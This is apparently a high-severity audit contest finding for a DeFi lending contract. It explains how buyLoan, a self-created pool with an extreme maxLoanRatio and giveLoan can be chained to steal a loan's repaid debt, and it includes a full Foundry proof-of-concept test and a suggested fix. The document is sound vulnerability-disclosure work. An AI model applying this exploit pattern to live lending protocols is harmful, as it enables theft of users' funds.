20,000 USDC
View results
Submission Details
Severity: high
Valid

Possible to steal loan debt amount from a pool with auctionized loan

Summary

It's possible to steal a loan's debt amount, if the loan was put on an auction.

Vulnerability Details

Steps to reproduce:

  1. Lender A creates a pool, deposits funds.

  2. Borrower A takes a loan from Lender A's pool.

  3. Lender A starts an auction to sell the loan.

  4. Time flies to the middle of the auction.

  5. Attacker "buys" loan by calling the buyLoan function providing the same poolId as the existing loan has and becomes the lender of the loan.

  6. Attacker deploys a pool (Attacker Pool) with absurdly high MaxLoanRatio, and setting the loanToken same as stolen loan's.

  7. Attacker borrows the balance of his own Attacker pool, with almost 0 collateral provided, as MaxLoanRatio is set very high.

  8. Attacker now updates his own Attacker pools parameters to match the loan's original pool parameters.

  9. Attacker gives the loan to his own pool, by calling `giveLoan˙ function with his own attacker pool Id.

  10. Borrower repays the loan amount.

  11. Attacker removes the repaid balance from the attacker pool.

  12. Original pool left with bad debt.

PoC:
Add test to Lender.t.sol

address public attacker = address(0x5);
function setUp() public {
lender = new Lender();
loanToken = new TERC20();
collateralToken = new TERC20();
loanToken.mint(address(lender1), 100000*10**18);
loanToken.mint(address(lender2), 100000*10**18);
loanToken.mint(address(attacker), 100000*10**18);
collateralToken.mint(address(attacker), 100000*10**18);
collateralToken.mint(address(borrower), 100000*10**18);
vm.startPrank(lender1);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
vm.startPrank(lender2);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
vm.startPrank(borrower);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
vm.startPrank(attacker);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
}
function test_StealDebtAmountWithBuyLoan() public {
test_borrow();
// accrue interest
vm.warp(block.timestamp + 364 days + 12 hours);
// kick off auction
vm.startPrank(lender1);
bytes32 poolId = lender.getPoolId(lender1, address(loanToken), address(collateralToken));
// Lender starts auction
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
lender.startAuction(loanIds);
// warp to middle of auction
vm.warp(block.timestamp + 23 hours);
uint256 attackerLoanTokenBalanceBefore = loanToken.balanceOf(attacker);
uint256 attackerCollateralTokenBalanceBefore = collateralToken.balanceOf(attacker);
vm.startPrank(attacker);
// Attacker "buys" loan with the same poolId as the existing loan has, becomes the lender
lender.buyLoan(0, poolId);
// Attacker deploys a pool with absurdly high MaxLoanRatio, and depositing the stolen loan's loanToken
Pool memory attackerPool = Pool({
lender: attacker,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 1,
poolBalance: 1000*10**18,
maxLoanRatio: 999999999999999*100**18,
auctionLength: 1 days,
interestRate: 0,
outstandingLoans: 0
});
bytes32 attackPoolId = lender.setPool(attackerPool);
// Attacker borrows the balance of his own attacker pool, with almost 0 collateral provided, as MaxLoanRatio is set very high
Borrow memory b = Borrow({
poolId: attackPoolId,
debt: 1000*10**18,
collateral: 1
});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
// Attacker now updates his own attacker pools parameters to match the loan's original pool parameters
Pool memory attackerPoolUpdate = Pool({
lender: attacker,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100*10**18,
poolBalance: 1000*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 1000*10**18
});
lender.setPool(attackerPoolUpdate);
// Attacker gives the loan to his own pool, by calling giveLoan with his own attacker pool Id.
bytes32[] memory poolIds = new bytes32[](1);
poolIds[0] = attackPoolId;
lender.giveLoan(loanIds, poolIds);
// Borrower repays the loan amount
vm.startPrank(borrower);
loanToken.mint(borrower, 1000000*10**18);
lender.repay(loanIds);
// Attacker removes the repaid balance from the attacker pool.
// Original pool left with bad debt.
vm.startPrank(attacker);
lender.removeFromPool(attackPoolId, 1100*10**18);
uint256 attackerLoanTokenBalanceAfter = loanToken.balanceOf(attacker);
uint256 attackerCollateralTokenBalanceAfter = collateralToken.balanceOf(attacker);
assertEq(attackerLoanTokenBalanceAfter, 100095000000000000000000);
assertEq(attackerCollateralTokenBalanceAfter, 99999999999999999999999);
assertGt(attackerLoanTokenBalanceAfter, attackerLoanTokenBalanceBefore);
}

Impact

Loss of funds

Tools Used

Manual review

Recommendations

Validate in the buyLoan function if the provided poolId is not the same as the loan's original poolId + don't allow to giveLoan to the current pool.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.